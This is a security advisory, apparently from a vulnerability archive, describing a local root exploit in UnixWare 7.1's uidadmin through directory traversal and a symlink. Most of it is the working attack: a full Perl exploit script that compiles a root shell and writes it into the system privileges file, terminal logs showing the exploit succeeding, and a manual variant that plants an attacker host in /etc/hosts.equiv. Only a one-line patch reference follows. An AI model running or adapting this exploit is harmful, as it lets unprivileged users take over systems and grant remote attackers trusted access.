COMMAND

    uidadmin

SYSTEMS AFFECTED

    UnixWare 7

PROBLEM

    Brock  Tellier  found  following.   SCO  UnixWare  7.1's  sgid-sys
    /usr/bin/uidadmin will allow any  user to gain root  privileges as
    a  result  of  it's  ability  to  write *ANY* file, not just those
    traditionally writable  by gid-sys.   All of  testing was  done on
    UnixWare 7.1, no other versions  have been tested although 7.x  is
    assumed to be vulnerable as well.

    UnixWare's system privileges are assigned two-fold.  First, it has
    the standard UNIX suid/sgid conventions.  Second, it has a list of
    programs  and  the  additional  privileges  they  gain when run in
    /etc/security/tcb/privs.

    For  instance,  /usr/bin/ping  is  *not*  suid/sgid  but may still
    perform  raw  socket  operations  because  it  gains  the "driver"
    privilege in the privs  file.  Even ln,  cp, mkdir and so  on must
    have filesystem modification privileges  in this file in  order to
    perform their respective functions.

    A program which has "allprivs" defined in  /etc/security/tcb/privs
    may perform any  operation as though  this program was  suid-root.
    If we  are able  to overflow  a buffer,  for instance,  in one  of
    these  allprivs  programs,  we  could  run shellcode normally, but
    only after we've  set our uid  to 0.   Similarly if we  overflowed
    ping, we could do all the socket operations we want, but we  could
    NOT gain root access.

    The uidadmin program does not have allprivs defined, so we  cannot
    just  cut  to  the  setreuid(0,0)  chase  and  execute  our shell.
    uidadmin  does,  however,  have  the  dacwrite  privilege  and can
    therefore  override  all  of  the  normal  UNIX DAC (Discretionary
    Access Control)  security precautions  (including filemode  bits).
    Because of the way uidadmin opens "uidata.tmp", we can only either
    create a file with any  contents we desire anywhere on  the system
    (as long as it doesn't  exist) or overwrite an existing  file with
    our string.

    In this way we can add our own program to the privs file by  using
    a symlink exploit in uidadmin  to overwrite it.  The  only problem
    with this is that  simply placing our program  in the file is  not
    enough.   The  filepriv()  function  must  be  called by root or a
    process with the appropriate privs permission and assign the  file
    to  the  kernel's  privileged  file  table.   This  can  also   be
    accomplished  by   running  "initprivs",   which  is   not   world
    executable.  The  good news is  that the privileged  file table is
    re-created from the  privs file at  every boot, so  if we run  our
    exploit  and  have  some   patience,  we'll  eventually  get   our
    rootshell.

    The convention for a program in /etc/security/tcb/privs is

        SizeInBytes:Checksum:CTimeSinceEpoch:PrivsToGain:/Full/Path/To/File

    size and time can be gotten with the standard stat(2) st_size  and
    st_ctime.  The checksum uses sum(1)'s alternate  machine-dependant
    algorythm  (sum  -r).   For  more  information on UnixWare's wacky
    privileges  system,  see  the  man  pages  for Intro(2), priv, and
    filepriv(2).

    The actual symlink exploit goes like this: by specifying a  scheme
    name as a reverse-directory-transversal name from /etc/uidadmindir
    (such as uidadmin -S ../../tmp) we can force uidadmin to look  for
    our version of uidata. If this file exists, and you have specified
    the "-a -r bah" options, uidadmin will create or overwrite a  file
    named "uidata.tmp" with  the data from  "uidata".  By  placing our
    string in uidata and making a symlink from uidata.tmp to anywhere,
    we can overwrite system files and gain root privileges.

    A  warning  about  the  uix.pl  exploit:   uix.pl  will  overwrite
    /etc/security/tcb/privs with  a single  entry.   All other entries
    will be lost and thus  the next time the kernel  permissions table
    is  rebuilt,  you  will  not  be  able  to  run any programs (as a
    regular user)  with the  permissions they  had before  the reboot.
    I.E.  ping won't work because it doesn't gain "driver"  privileges
    anymore.  To get around this, make sure you login immediatly after
    reboot, execute your rootshell and:

        cat /etc/security/tcb/oprivs >> /etc/security/tcb/privs

    then run "initprivs" to re-install all privileged programs.

        bash-2.02$ id
        uid=106(xnec) gid=1(other)
        bash-2.02$ ls -la /usr/bin/uidadmin
        -r-xr-s--x    1 sys      sys           18012 Apr  3  1998 /usr/bin/uidadmin
        bash-2.02$ ./uix.pl

        * uidadmin exploit for UnixWare 7.1 <btellier@usa.net>


        /home/xnec/ui successfully compiled
        /home/xnec/ui size=3760 ctime=944185049
        /home/xnec/ui checksum is 16136
        placing '3760:16136:944185049:%fixed,allprivs:/home/xnec/ui' into /tmp/uidata
        UX:uidadmin: ERROR: mandatory field(s) missing
        Exploit successful. Run /home/xnec/ui after reboot for rootshell
        bash-2.02$

    AFTER REBOOT:

        bash-2.02$ ./ui
        #

    Code itself:

    #!/usr/bin/perl

    ###########################################################
    # /usr/bin/uidadmin exploit for UnixWare 7.1
    # Uses a symlink exploit to add our program to a list of elevated privileges
    # programs in /etc/security/tcb/privs.  After reboot, /tmp/ui will be added
    # to the list of privileged programs.
    #
    # Format of the privs file is as follows (ctime and size are just as
    # st_ctime and st_size as described by stat(2)):
    # size:checksum:time:perms:/full/path/to/prog
    #
    # -Brock Tellier btellier@usa.net
    #
    ###########################################################

    $ui_source = "/home/xnec/ui.c";
    $ui_dest = "/home/xnec/ui";
    $ui_code = "void main() { setreuid(0,0); system(\"/bin/ksh\");}";
    $privloc = "/etc/security/tcb/privs";
    $uidatafile="/tmp/uidata";
    $sumpath = "/usr/bin/sum";
    $uidata_sym = "/tmp/uidata.tmp";
    $compiler = "cc";
    $uidadmin = "/usr/bin/uidadmin";

    ###
    # Path to the directory where your $uidata_sym will exist relative to
    # /etc/uidata/
    ###
    $uidadminarg = "../../tmp";


    print("\n* uidadmin exploit for UnixWare 7.1 <btellier\@usa.net>\n\n");

    ###
    # Output $ui_code to $ui_source and compile into $ui_dest
    ###

    open(UIS, ">$ui_source");
    printf(UIS "$ui_code\n");
    close(UIS);
    system ("$compiler -o $ui_dest $ui_source");
    if ( -e $ui_dest ) {
       print("\n$ui_dest successfully compiled\n");
    }
       else { die "error compiling $ui_dest"; }

    ###
    # stat $ui_dest for size in bytes and ctime (seconds since epoch)
    ###

    $size=(stat($ui_dest))[7] || die "cannot stat $ui_dest";
    $ctime=(stat($ui_dest))[10];
    print("$ui_dest size=$size ctime=$ctime\n");

    ###
    # get the checksum value for $ui_dest
    ###

    open(SUM, "$sumpath -r $ui_dest|");
    $checksum=<SUM>;
    chomp($checksum);
    @sumfields=split(' ', $checksum);
    $chksum = @sumfields[0];
    $chksum =~ s/^0//;

    print("$ui_dest checksum is $chksum\n");

    ###
    # Put our entry into $uidatafile, use trailing newline
    ###

    $uidata="$size:$chksum:$ctime:\%fixed,allprivs:$ui_dest";
    print("placing '$uidata' into $uidatafile\n");
    open(TMP, ">$uidatafile");
    print(TMP "$uidata\n");
    close(TMP);

    ###
    # Create symlink from $uidata_sym to $privloc
    ###
    symlink($privloc, $uidata_sym);

    ###
    # All the preparation is done, launch the exploit
    ###

    system("$uidadmin -S $uidadminarg -a -r bah");

    ###
    # Find out if the exploit worked, assume it did if $ui_dest is in $privloc
    ###

    open (PRIV, "$privloc");
    @privs = <PRIV>;
    foreach $priv (@privs) {
       if ($priv =~ /$ui_dest/) {
          print("Exploit successful. Run $ui_dest after reboot for rootshell
    \n");
          exit(0);
       }
    }
    print("Exploit not successful, sorry!\n");

    For those with little patience

        bash-2.02$ id
        uid=106(xnec) gid=1(other)
        bash-2.02$ ls -la /etc/hosts.equiv
        UX:ls: ERROR: Cannot access /etc/hosts.equiv: No such file or directory
        bash-2.02$ ls -la /usr/bin/uidadmin
        -r-xr-s--x    1 sys      sys           18012 Apr  3  1998 /usr/bin/uidadmin
        bash-2.02$ ln -s /etc/hosts.equiv /tmp/uidata.tmp
        bash-2.02$ echo "cracker.com" > /tmp/uidata
        bash-2.02$ /usr/bin/uidadmin -S ../../tmp -a -r bah
        UX:uidadmin: ERROR: mandatory field(s) missing
        bash-2.02$ cat /etc/hosts.equiv
        cracker.com
        bash-2.02$ ls -al /etc/hosts.equiv
        -rw-rw-r--    1 sys      sys              12 Dec  2 19:05 /etc/hosts.equiv
        bash-2.02$

SOLUTION

    SSE046 has been released to fix security holes in uidadmin.